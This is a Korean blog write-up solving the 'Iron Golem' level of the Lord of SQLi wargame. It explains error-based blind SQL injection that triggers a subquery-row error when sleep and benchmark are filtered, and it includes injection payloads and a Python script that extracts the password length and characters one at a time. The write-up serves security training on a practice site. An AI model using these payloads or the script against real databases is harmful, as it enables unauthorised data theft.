LOS(The Lord of the SQLI) 21 - IRON GOLEM

2021. 2. 22. 19:35정보보안/웹 해킹

21번 문제 IRON GOLEM

 

21번 문제인 Iron Golem 이다.

 

문제 해결 if문을 보면 Blind SQL Injection이라는것을 알 수있다.

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");

 

필터식을 보면 

if(preg_match('/sleep|benchmark/i'$_GET[pw])) exit("HeHe");으로 sleep 함수와 benchmark 함수를

막고 있으며 Time Based Blind SQL Injection 은 아니겠구나 생각할 수 있었다.

 

이 문제에서는 다른 Blind SQL Injection 문제들 처럼 참일경우 Hello ID 를 출력하지 않으므로

다른 방법으로 참 거짓을 판별해야하는데, 

 

pw 파라미터에 '(싱글쿼터)를 넣을경우 db 에러가 발생하는것을 보아 db 에러 출력해준다는 점을

이용해야겠다고 생각했다.

 

'(싱글쿼터) 에러

 

가장 먼저 생각했던 방법은 if문을 이용해 참 거짓을 판별해야겠다는 생각이엇는데,

if 함수는 if(조건식, 조건식이 참일 경우 결과값, 조건식이 거짓일 경우 결과값) 이다.

 

그래서 if (조건식, 1, ') 를 통해 조건식이 거짓일 경우에만 싱글쿼터 에러를 출력시켜 참 거짓을 판단해야한다고
생각했는데, 왠진 모르겠지만

참인 경우에도 싱글쿼터 에러가 발생하여 다른 방법을 찾아보게 되었다.

 

 

select 1 union select 1 VS select 1 union select 2

 

select 1 union select 2

 

 

if(조건식, 1, (select 1 union select 2)) 을통해

거짓인경우에 결과값을 2개를 반환하도록 하여 위와 같은 에러를 반환하게 할 수 있다.

 

이를 이용해서 먼저 pw 의 길이를 알아낸다.

import requests

URL = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php' # 자신의 los 4번 문제의 url 주소 수동 입력
cookies ={'PHPSESSID': 'd9hqtksdv8nice4pglrfsqld2j'} # 자신의 los 세션값 수동 입력

# 패스워드의 길이를 찾는 함수
def find_len():
    pw_len = 0
    while True:
        pw_len += 1
        # url? 뒤에 추가될 값이 value
        value = "' or if(length(pw)={},(select 1 union select 2),1)#".format(pw_len)
        parms={'pw' : value}
        response = requests.get(URL, params=parms, cookies=cookies) # URL과 파라미터, 쿠키를 설정한 후 request를 보낸 뒤 돌아오는 response(응답값)를 저장
        if "Subquery returns" in response.text: # 받아온 응답값 텍스트 중 'Subquery returns'이 존재한다면 패스워드 길이 반환
            print("길이는", pw_len, "입니다.")
            break
        print("Trying")

    return pw_len

 

pw 길이 

 

 

 

pw 길이가 32라는것을 알았으니 

같은 방법을 이용해 pw의 값을 알아낸다.

(사진은 32번째 자리까지 전부 담기 어려워서 중간까지만을 찍음 !!)

 

 

06b5a6c16e8830475f983c

 

def find_pw():
    pw_len = find_len()
    flag=''
    for pw_value in range(1,pw_len+1):
        for ascii in range(48,122): # 아스키 코드값 48 ~ 122 -> 숫자, 알파벳, 특수문자 몇몇
            value = "' or if(ascii(substr(pw,{},1))={},(select 1 union select 2),1)#".format(pw_value,ascii)
            parmas = {'pw' :value }
            response = requests.get(URL, params=parmas, cookies=cookies)
            if "Subquery returns" in response.text:
                print("pw의",pw_value,"번째는",chr(ascii), '입니다.')
                flag += chr(ascii)
    print("pw는", flag, "입니다.")

find_pw()

 

 

 

21번 IROM GOLEM Clear !